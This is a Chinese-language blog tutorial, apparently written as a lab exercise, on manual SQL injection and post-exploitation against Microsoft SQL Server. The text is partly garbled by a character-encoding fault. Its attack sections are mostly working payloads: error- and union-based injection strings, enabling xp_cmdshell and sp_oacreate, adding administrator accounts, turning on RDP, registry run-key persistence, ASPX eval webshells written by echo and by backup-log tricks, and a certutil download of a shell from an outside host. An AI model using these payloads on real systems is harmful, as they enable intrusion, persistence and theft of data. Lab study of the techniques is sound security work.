前言:
說起sql注入環(huán)境,網(wǎng)上流行的一些漏洞靶場(chǎng)基本上都是基于Mysql+Apache搭建的,所以我對(duì)mysql的手注及提權(quán)多多少少有一定的了解,但對(duì)mssql還很陌生,為了避免過度依賴sqlmap一把梭的尷尬局面,于是有了這篇文章。
環(huán)境介紹:
搭建環(huán)境:win7 + SQL Server 2008 R2 + IIS7.5
win7開放1433端口
sql server 2008 r2下載及搭建過程參考:Win7安裝sqlserver2008r2教程
苦于找不到漏洞環(huán)境,只好找公開的NET源碼下載。
.NET源碼下載地址:.NET源碼 - 下載列表 - 源碼之家
ISAPI和CGI限制都設(shè)置為允許:

部分配置參考:

注入漏洞發(fā)現(xiàn):
搭建過程總是磕磕絆絆的,環(huán)境搭建好以后,使用xray聯(lián)動(dòng)awvs快速發(fā)現(xiàn)漏洞:
這里直接放出結(jié)果:

隨便找一處注入點(diǎn)用sqlmap一把梭瞅瞅:

基本齊活了,作為手注漏洞環(huán)境挺好的
基礎(chǔ)知識(shí):
Mssql的系統(tǒng)自帶庫(kù):master
在每個(gè)網(wǎng)站中,一般一個(gè)網(wǎng)站不會(huì)跨庫(kù),而在MSSQL中每個(gè)庫(kù)都有一個(gè)系統(tǒng)自帶表:sysobjects
此系統(tǒng)表中對(duì)我們有用的只有3個(gè)字段,NAME字段和XTYPE字段和ID字段,name就是表名信息,xtype是代表表的類型,有兩個(gè)參數(shù),S代表系統(tǒng)自帶表,U代表用戶創(chuàng)建的表,id字段的值用來連接syscolumns表。
Sysobjects是一個(gè)系統(tǒng)視圖,用于存放該數(shù)據(jù)庫(kù)內(nèi)創(chuàng)建的所有對(duì)象,如約束、默認(rèn)值、日志、規(guī)則、存儲(chǔ)過程等,而xtype代表對(duì)象的類型。
常見的類型有:
| 類型簡(jiǎn)稱 | 含義 |
|---|---|
| U | 表(用戶定義類型) |
| V | 視圖 |
| P | 存儲(chǔ)過程 |
| X | 拓展存儲(chǔ)過程 |
mssql常用參數(shù):
當(dāng)前數(shù)據(jù)庫(kù)版本:@@version
有關(guān)服務(wù)器主機(jī)的信息:@@servername
當(dāng)前數(shù)據(jù)庫(kù)名稱:db_name()
當(dāng)前用戶:user
數(shù)據(jù)庫(kù)權(quán)限:IS_SRVROLEMEMBER()
手注過程:
報(bào)錯(cuò)注入:
判斷是否是Mssql數(shù)據(jù)庫(kù):
id=1 and (select count(*) from sysobjects)>0
id=1 and exists(select * from sysobjects)
使用了上面這條語(yǔ)句說明它權(quán)限還有點(diǎn)大,還有可能是 sa 權(quán)限,因?yàn)榭梢宰x取任意表
判斷權(quán)限:
id=1 and 1=(select IS_SRVROLEMEMBER('sysadmin'))-- //sa
id=1 and 1=(select IS_MEMBER('db_owner'))=1-- // dbo
id=1 and 1=(select IS_MEMBER('public'))=1-- //public
mssql權(quán)限劃分:
sysadmin:可以執(zhí)行所有操作,包括數(shù)據(jù)庫(kù)操作,文件管理,命令執(zhí)行,注冊(cè)表讀取等
db_owner:可以執(zhí)行數(shù)據(jù)庫(kù)操作,包括文件管理、數(shù)據(jù)庫(kù)操作等
public:只能執(zhí)行查詢操作
本地測(cè)試頁(yè)面返回正常,說明它是 sa 權(quán)限
查看當(dāng)前數(shù)據(jù)庫(kù)版本:
id=1 and 1=(select @@version)
id=@@version
id=1 and 1=(convert(int,@@version))
id=convert(int,@@version)

通過這個(gè)例子了解報(bào)錯(cuò)注入的原理:
and 1 是int類型,后面的(select @@version) 是字符類型,不相等,就會(huì)報(bào)錯(cuò)從而爆出相關(guān)信息
而原本訪問網(wǎng)站 id=1 查詢的是數(shù)字類型int,而我們查詢的是字符類型,所以他從字符類型轉(zhuǎn)換為int類型失敗就導(dǎo)致網(wǎng)站報(bào)錯(cuò)從而泄露網(wǎng)站的數(shù)據(jù)庫(kù)版本信息
查看當(dāng)前數(shù)據(jù)庫(kù)名稱:
id=1 and 1=(select db_name())
id=db_name()

convert函數(shù)利用原理:
對(duì)于 convert(int,@@version),convert 函數(shù)?先會(huì)執(zhí)?第?個(gè)參數(shù)指定的SQL查詢,然后嘗試將查詢結(jié)果轉(zhuǎn)換為int類型。但是,由于這個(gè)SQL查詢的結(jié)果是varchar類型,?法進(jìn)?指定的轉(zhuǎn)換,所以,convert函數(shù)會(huì)拋出 ?個(gè)SQL server錯(cuò)誤消息,指出“SQL查詢結(jié)果”?法轉(zhuǎn)換為“int”類型,這樣的話,攻擊者就能得到的這個(gè)SQL查詢的結(jié)果了。
獲取第一個(gè)用戶數(shù)據(jù)庫(kù)的名稱:
id=1 and 1=(select top 1 name from master..sysdatabases where dbid>4)
語(yǔ)句解析:
top 1 是一個(gè)SQL查詢的子句,它用于查詢結(jié)果只顯示首條記錄
對(duì)于 master..sysdatabases 這個(gè)意思是這樣的:在mssql系統(tǒng)默認(rèn)數(shù)據(jù)庫(kù)master 的系統(tǒng)視圖里

從圖中可以看到,前面4個(gè)id號(hào)是默認(rèn)mssql數(shù)據(jù)庫(kù)自帶的,實(shí)際上 ReportServer 和 ReportServerTempDB 也是安裝過程中自帶的數(shù)據(jù)庫(kù),真正手動(dòng)創(chuàng)建的數(shù)據(jù)庫(kù)為后面三個(gè),以搭建環(huán)境為基準(zhǔn)的話,這里第7個(gè)才是用戶所創(chuàng)建的第一個(gè)數(shù)據(jù)庫(kù),以此類推!
獲取所有數(shù)據(jù)庫(kù)的名字:
# for xml path:將查詢結(jié)果集以XML形式展現(xiàn)
id=1 and 1=(select name from master..sysdatabases for xml path)

獲取當(dāng)前網(wǎng)站數(shù)據(jù)庫(kù)所使用的第一個(gè)表名:
id=1 and 1=(select top 1 name from sysobjects where xtype='u')
id=1 and 1=(select top 1 name from sysobjects where xtype='u' and name != '') # 獲取第二個(gè)表名,以此類推
id=CONVERT(int,(select top 1 table_name from information_schema.columns)) # 獲取當(dāng)前數(shù)據(jù)庫(kù)的表名

爆出所有表名:
id=1 and 1=(select name from sysobjects for xml path)
本地復(fù)現(xiàn)失敗,可能是表太多了,數(shù)據(jù)傳輸量過大被截?cái)嗔??(盲猜?/p>
獲取列名:
我們知道了第一個(gè)表名為:Portal_Announcementscat
id=1 and 1=(select top 1 name from syscolumns where id=(select id from sysobjects where name='Portal_Announcementscat'))
# 506F7274616C5F416E6E6F756E63656D656E7473636174 為表名 Portal_Announcementscat 的 hex值
id=convert(int,(select top 1 COLUMN_NAME from information_schema.columns where TABLE_NAME=cast(0x506F7274616C5F416E6E6F756E63656D656E7473636174 as varchar)))

獲取到第一個(gè)列名為:catid,參照數(shù)據(jù)庫(kù)信息進(jìn)行比對(duì):

獲取下一個(gè)列名:
id=1 and 1=(select top 1 name from syscolumns where id=(select id from sysobjects where name='Portal_Announcementscat') and name !='catid')
id=convert(int,(select top 1 COLUMN_NAME from information_schema.columns where TABLE_NAME=cast(0x506F7274616C5F416E6E6F756E63656D656E7473636174 as varchar) and COLUMN_NAME != 'catid'))
獲取數(shù)據(jù):
id=1 and 1=(select top 1 catname from Portal_Announcementscat)
id=convert(int,(select top 1 catname from Portal_Announcementscat))

獲取下一條數(shù)據(jù):
id=1 and 1=(select top 1 catname from Portal_Announcementscat where catname != '本地通告')
id=convert(int,(select top 1 catname from Portal_Announcementscat where catname !='本地通告'))
聯(lián)合注入:
判斷字段長(zhǎng)度:
id=1 order by 8--

上面得到數(shù)據(jù)列數(shù)為8,尋找字符型顯示位:
id=0 union all select null,null,null,null,null,null,null,null
這里使用的是 union all,它和 union select 的區(qū)別就是:union select 會(huì)自動(dòng)去除一些重復(fù)的字段
使用的 null 是說明它無關(guān)是字符型還是數(shù)字型
現(xiàn)在,我們需要將依次每一個(gè)數(shù)據(jù)列轉(zhuǎn)換為@@version或者db_name(),尋找字符型顯示位:
id=0 union all select @@version,null,null,null,null,null,null,null
id=0 union all select null,@@version,null,null,null,null,null,null # 以此類推
注意:這里其實(shí)填啥都可以,不一定得是@@version諸如此類的,只要是字符型數(shù)據(jù)都行:

獲取表名信息:
id=0 union all select (select top 1 name from dbo.sysobjects where xtype='u'),null,null,null,null,null,null,null
id=0 union all select (select top 1 table_name from information_schema.columns),null,null,null,null,null,null,null
# 獲取之后的表名,以此類推
id=0 union all select (select top 1 name from dbo.sysobjects where xtype='u' and name not in ('Portal_Announcementscat')),null,null,null,null,null,null,null
獲取列名信息:
# 1 代表的是查詢第一個(gè)列名
id=0 union all select (select top 1 col_name(object_id('Portal_Announcementscat'),1) from sysobjects),null,null,null,null,null,null,null
# 獲取第i列名信息
id=0 union all select (select top 1 col_name(object_id('Portal_Announcementscat'),{i}) from sysobjects),null,null,null,null,null,null,null
獲取數(shù)據(jù)信息:
id=0 union all select catname,null,null,null,null,null,null,null from Portal_Announcementscat
xp_cmdshell執(zhí)行命令:
我們剛才知道了網(wǎng)站的權(quán)限是 sa 權(quán)限,那么我們就可以干很多事,包括執(zhí)行系統(tǒng)命令等等
xp_cmdshell:SQL中運(yùn)行系統(tǒng)命令行的系統(tǒng)存儲(chǔ)過程,一般在安全級(jí)別較高的服務(wù)器權(quán)限上。也就是它開啟的話我們就可以執(zhí)行系統(tǒng)命令!
判斷xp_cmdshell是否存在:
id=1 and 1=(select count(*) from master.dbo.sysobjects where xtype = 'x' and name = 'xp_cmdshell')
頁(yè)面返回正常,說明xp_cmdshell存在。
如果拓展被刪除,執(zhí)行以下語(yǔ)句恢復(fù):
id=1;exec sp_dropextendedproc 'xp_cmdshell'
上面這條語(yǔ)句在恢復(fù)前先刪除xp_cmdshell,以后再在后面重新進(jìn)行創(chuàng)建,然后執(zhí)行如下查詢:
id=1;exec sp_dropextendedproc ‘xp_cmdshell’ ,’xplog70.dll’
該語(yǔ)句是利用系統(tǒng)中默認(rèn)的“xplog70.dll”文件,自動(dòng)恢復(fù)xp_cmdshell
如果恢復(fù)不成功,說明該文件被改名或刪除,可以上傳一個(gè)“xplog70.dll”文件,自定義路徑進(jìn)行恢復(fù)。例如,執(zhí)行如下查詢語(yǔ)句:
id=1;exec sp_dropextendedproc ‘xp_cmdshell’,’c:\xplog70.dll’
xp_cmdshell默認(rèn)在mssql_2000中是開啟的,在mssql_2005之后的版本中則默認(rèn)禁止。
如果用戶擁有管理員sa權(quán)限則可以用sp_configure重新開啟它
本地環(huán)境為sql server 2008,可以看到默認(rèn)情況下是禁止的:

這里既然是sa用戶,直接通過注入環(huán)境開啟 xp_cmdshell:
id=1 ;exec sp_configure 'show advanced options', 1;reconfigure;--
id=1 ;exec sp_configure 'xp_cmdshell',1;reconfigure;--
# 關(guān)閉 xp_cmdshell:
exec sp_configure 'show advanced options', 1;reconfigure;
exec sp_configure 'xp_cmdshell', 0;reconfigure
嘗試通過xp_cmdshell執(zhí)行系統(tǒng)命令:
id=1 ;exec master..xp_cmdshell "ping 1yi53x.dnslog.cn"--
id=1 ;exec xp_cmdshell "ping 1yi53x.dnslog.cn"--
通過dnslog可以看到系統(tǒng)命令成功執(zhí)行

關(guān)于xp_cmdshell的利用方式很多,比如添加管理員用戶,寫入一句話到網(wǎng)站根目錄,反彈shell等等
查找網(wǎng)站根目錄:
利用前提:
1、目標(biāo)網(wǎng)站注入支持堆疊注入
2、當(dāng)前權(quán)限是SA權(quán)限
3、使用sqlmap的 –os-shell 無法獲取到權(quán)限
思路:通過先找到目標(biāo)網(wǎng)站的一個(gè)文件,然后通過遍歷目標(biāo)服務(wù)器的磁盤,找到該文件,將其路徑寫入自建的表中,然后再讀取該表得到網(wǎng)站絕對(duì)路徑
假設(shè)我們已經(jīng)知道目標(biāo)網(wǎng)站下有一個(gè)ceshi.txt文件
# 創(chuàng)建表hack,并添加一個(gè)tmp的字段
id=1;create table hack (tmp varchar(1000));--
# 查找目標(biāo)機(jī)器C盤下的test.txt路徑,并將結(jié)果寫入剛剛創(chuàng)建的hack表的tmp字段
id=1;insert into hack(tmp) exec master..xp_cmdshell 'for /r c:\ %i in (ceshi*.txt) do @echo %i';--
#或者
id=1;insert into hack(tmp) exec master..xp_cmdshell 'dir /s /b c:\ceshi.txt';--
讀取數(shù)據(jù),得到目標(biāo)網(wǎng)站絕對(duì)路徑為:

將一句話木馬寫入目標(biāo)網(wǎng)站根目錄,并命名為nothinks.aspx
注意:要把所有的<、>前面加一個(gè)^號(hào)
id=1;exec master..xp_cmdshell 'echo ^<%@ Page Language="Jscript"%^>^<%eval(Request.Item["chopper"],"unsafe");%^> > D:\aspx\oa\nothinks.aspx';--

# 可以執(zhí)行系統(tǒng)權(quán)限之后,前提是獲取的主機(jī)權(quán)限是administrators組里的
exec xp_cmdshell 'net user Guest 123456' #給guest用戶設(shè)置密碼
exec xp_cmdshell 'net user Guest /active:yes' #激活guest用戶
exec xp_cmdshell 'net localgroup administrators Guest /add' #將guest用戶添加到administrators用戶組
exec xp_cmdshell 'REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f' #開啟3389端口
使用 certutil 遠(yuǎn)程下載木馬文件:
id=1;exec master..xp_cmdshell 'certutil -urlcache -split -f http://x.x.x.x/shell.php C:\phpstudy\www\shell2.php';--
SA權(quán)限使用sp_oacreate執(zhí)行系統(tǒng)命令:
使用下面命令查看是否可使用 sp_oacreate 執(zhí)行系統(tǒng)命令:
id=1;declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'whoami'--
可以看到默認(rèn)情況下禁止訪問

如果SQLServer 阻止了對(duì)組件 ‘Ole Automation Procedures’ 的過程 ‘sys.sp_OACreate’ 的訪問,可以使用以下命令打開
id=1;EXEC sp_configure 'show advanced options', 1;--
id=1;RECONFIGURE WITH OVERRIDE;--
id=1;EXEC sp_configure 'Ole Automation Procedures', 1;--
id=1;RECONFIGURE WITH OVERRIDE;--
再次執(zhí)行命令,通過dnslog判斷是否執(zhí)行成功:
id=1;declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'ping ffk9ba.dnslog.cn'--

這時(shí)調(diào)用命令創(chuàng)建用戶:
id=1;declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user book4yi password@ /add'--
xp_regwrite操作注冊(cè)表與開啟沙盒模式:
在sa權(quán)限下可以調(diào)用xp_regwrite寫入注冊(cè)表,查詢語(yǔ)句如下:
id=1;exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\currentversion\run',
'black','REG_SZ','net user book4yi 123456 /add'
寫入注冊(cè)表啟動(dòng)項(xiàng),系統(tǒng)啟動(dòng)后就會(huì)執(zhí)行"net user book4yi 123456 /add"命令,從而在服務(wù)器上添加一個(gè)book4yi賬戶
使用沙盒進(jìn)行提權(quán)詳情參考:
https://blog.51cto.com/11797152/2411770
http://m.itdecent.cn/p/088c0705f7f9
其他存儲(chǔ)過程補(bǔ)充:
常見的危險(xiǎn)存儲(chǔ)過程如下表:
| 存儲(chǔ)過程 | 說明 |
|---|---|
| sp_addlogin | 創(chuàng)建新的 SQL Server 登錄,該登錄允許用戶使用 SQL Server 身份連接到 SQL Server 實(shí)例 |
| sp_dropuser | 從當(dāng)前數(shù)據(jù)庫(kù)中刪除數(shù)據(jù)庫(kù)用戶 |
| xp_enumgroups | 提供 Microsoft Windows 本地組列表或在指定的 Windows 域中定義全局組列表 |
| xp_regread | 讀取注冊(cè)表 |
| xp_regwrite | 寫入注冊(cè)表 |
| xp_redeletevalue | 刪除注冊(cè)表 |
| xp_dirtree | 讀取目錄 |
| sp_password | 更改密碼 |
| xp_servicecontrol | 停止或激活某服務(wù) |
| xp_readerrorlog | 讀取SQLServer的錯(cuò)誤日志; |
| xp_snmp_getstate | 獲取snmp狀態(tài)信息; |
| xp_sprintf | 格式化數(shù)據(jù); |
| xp_sqlinventory | 查詢SQLServer清單; |
| xp_sqlregister | 對(duì)注冊(cè)表的讀取和編輯; |
| xp_sqltrace | SQL跟蹤記錄; |
| xp_servicecontrol | 服務(wù)管理控制,該存儲(chǔ)過程允許用戶啟動(dòng)、停止、暫?;蜻\(yùn)行服務(wù); |
| xp_sscanf | 從字符串中讀取數(shù)據(jù)數(shù)據(jù)到每個(gè)格式參數(shù)給出的參數(shù)位置; |
| xp_availablemedia | 該存儲(chǔ)過程可以查看系統(tǒng)上可用的磁盤驅(qū)動(dòng)器的空間信息; |
| xp_subdirs | 通過xp_dirtree,xp_subdirs將在一個(gè)給定的文件夾中顯示所有子文件夾; |
DB_owner權(quán)限LOG備份Getshell:
SQLServer常見的備份策略:
每周一次完整備份
每天一次差異備份
每小時(shí)一次事務(wù)日志備份
利用前提:
1、目標(biāo)機(jī)器存在數(shù)據(jù)庫(kù)備份文件 ,也就是如下,我們利用test數(shù)據(jù)庫(kù)的話,則需要該test數(shù)據(jù)庫(kù)存在數(shù)據(jù)庫(kù)備份文件
2、知道網(wǎng)站的絕對(duì)路徑
3、該注入支持堆疊注入
alter database oa set RECOVERY FULL; #修改數(shù)據(jù)庫(kù)恢復(fù)模式為 完整模式
create table cmd (a image); #創(chuàng)建一張表cmd,只有一個(gè)列 a,類型為image
backup log oa to disk= 'D:\aspx\oa\book4yi.aspx' with init; #備份表到指定路徑
insert into cmd (a) values(0x3C25402050616765204C616E67756167653D224A73637269707422253E3C256576616C28526571756573742E4974656D5B2263686F70706572225D2C22756E7361666522293B253E); #插入一句話到cmd表里
backup log oa to disk='D:\aspx\oa\book4yi-2.aspx'; #把操作日志備份到指定文件
drop table cmd; #刪除cmd表
語(yǔ)句成功執(zhí)行以后,會(huì)在目標(biāo)網(wǎng)站根目錄下生成book4yi.aspx和book4yi-2.aspx文件,其中book4yi.aspx 保存數(shù)據(jù)庫(kù),book4yi-2.aspx就是我們需要連接的木馬文件
之后用蟻劍成功連接!

查看當(dāng)前用戶權(quán)限:

DB_owner權(quán)限差異備份Getshell
create table [dbo].[book4yi] ([cmd] [image])
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x786965 backup log @a to disk = @s with init,no_truncate
insert into [book4yi](cmd) values(0x3C25402050616765204C616E67756167653D224A73637269707422253E3C256576616C28526571756573742E4974656D5B2263686F70706572225D2C22756E7361666522293B253E)
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x44003a005c0061007300700078005c006f0061005c007900650073006f006b002e006100730070007800 backup log @a to disk=@s with init,no_truncate
Drop table [book4yi]
1)id=1;backup database 庫(kù)名 to disk = 'c:\bak.bak' ;--
或者
id=1;declare @a sysname,@s varchar(4000) select @a=db_name(),@s=0x備份路徑\xx.bak backup database @a to disk=@s-- //0x備份的數(shù)據(jù)庫(kù)名轉(zhuǎn)換成16位進(jìn)制,db_name()里面可以加數(shù)字備份不同的數(shù)據(jù)庫(kù)
2)id=1;create table 數(shù)據(jù)庫(kù)名..表名(a image)-- //建立表,加字段
3)id=1;insert into 數(shù)據(jù)庫(kù)名..表名(a) values (0x一句話木馬)-- //插入一句話木馬到表中,注意16進(jìn)制
4)id=1;backup database 庫(kù)名 to disk = 'c:\shell.asp' with differential , format ;-- //進(jìn)行差異備份
或者
;declare @a sysname,@s varchar(4000) select @a=db_name(),@s=0x備份路徑\xx.asp backup database @a to disk=@s WITH DIFFERENTIAL,FORMAT-- //備份到路徑\xx.asp,前提是已得知路徑,注意轉(zhuǎn)換為16進(jìn)制,假如備份的路徑為c:\webroot\panda.asp ,訪問查看是否備份getshell成功
5)id=1;Drop table 數(shù)據(jù)庫(kù)..表名-- //備份完getshell過后刪除表

本地測(cè)試的時(shí)候,寫入倒是成功了,但是寫入了四條語(yǔ)句導(dǎo)致無法連接,因?yàn)橥粋€(gè)腳本中出現(xiàn)了兩次<%@ Page Language="Jscript"%>這樣在.net的語(yǔ)法檢查中是不允許的(asp中應(yīng)該沒有這種現(xiàn)象)

現(xiàn)在就要找個(gè)沒有page標(biāo)簽的aspx的一句話。網(wǎng)上找到了兩個(gè)可以沒帶page標(biāo)簽的aspx的一句話:
C#版本:
<%if (Request.Files.Count!=0) { Request.Files[0].SaveAs(Server.MapPath(Request[“f”]) ); }%>
Vb版本:
<% If Request.Files.Count <> 0 Then Request.Files(0).SaveAs(Server.MapPath(Request(“f”)) ) %>
因?yàn)闆]有page標(biāo)簽,所以這這樣的一句話在同一個(gè)文件中出現(xiàn)兩次是不會(huì)出錯(cuò)的。其他語(yǔ)言沒測(cè)試,等待有緣人幫助

更多用法請(qǐng)參考:mssql注入經(jīng)常使用的命令
更多思路拓展請(qǐng)參考:
滲透經(jīng)驗(yàn)分享之SQL注入思路拓展
MSSQL注入常用SQL語(yǔ)句整理
參考如下:
史上最詳細(xì)的sqlServer手工注入詳解
Microsoft SQL Server手注之報(bào)錯(cuò)注入
Microsoft SQL Server手注之聯(lián)合查詢注入
SQLServer數(shù)據(jù)庫(kù)注入詳解